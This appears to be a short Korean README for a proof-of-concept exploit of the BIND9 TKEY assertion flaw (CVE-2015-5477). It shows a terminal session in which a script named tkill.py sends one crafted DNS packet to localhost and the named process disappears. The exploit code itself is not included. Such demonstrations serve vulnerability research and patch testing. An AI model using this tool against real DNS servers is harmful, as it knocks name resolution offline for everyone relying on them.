knqyf263/cve-2015-5477BIND9 TKEY assertion 서비스 거부(Denial-of-Service) 취약점(CVE-2015-5477)에 대한 개념 증명(PoC) 익스플로잇입니다. 조작된 DNS 패킷 하나를 전송하여 named 프로세스를 크래시시킵니다.
BIND9 TKEY assert DoS (CVE-2015-5477)을 위한 PoC
$ ps awux | grep -v grep | grep bind
bind 2373 0.0 2.2 141164 13424 ? Ssl 14:58 0:00 /var/named/chroot/sbin/named -u bind -t /var/named/chroot -c /etc/named.conf
$ python tkill.py 127.0.0.1
Begin emission:
..Finished to send 1 packets.
.......................................................................................................................................................................................................................^C
Received 217 packets, got 0 answers, remaining 1 packets
$ ps awux | grep -v grep | grep bind
$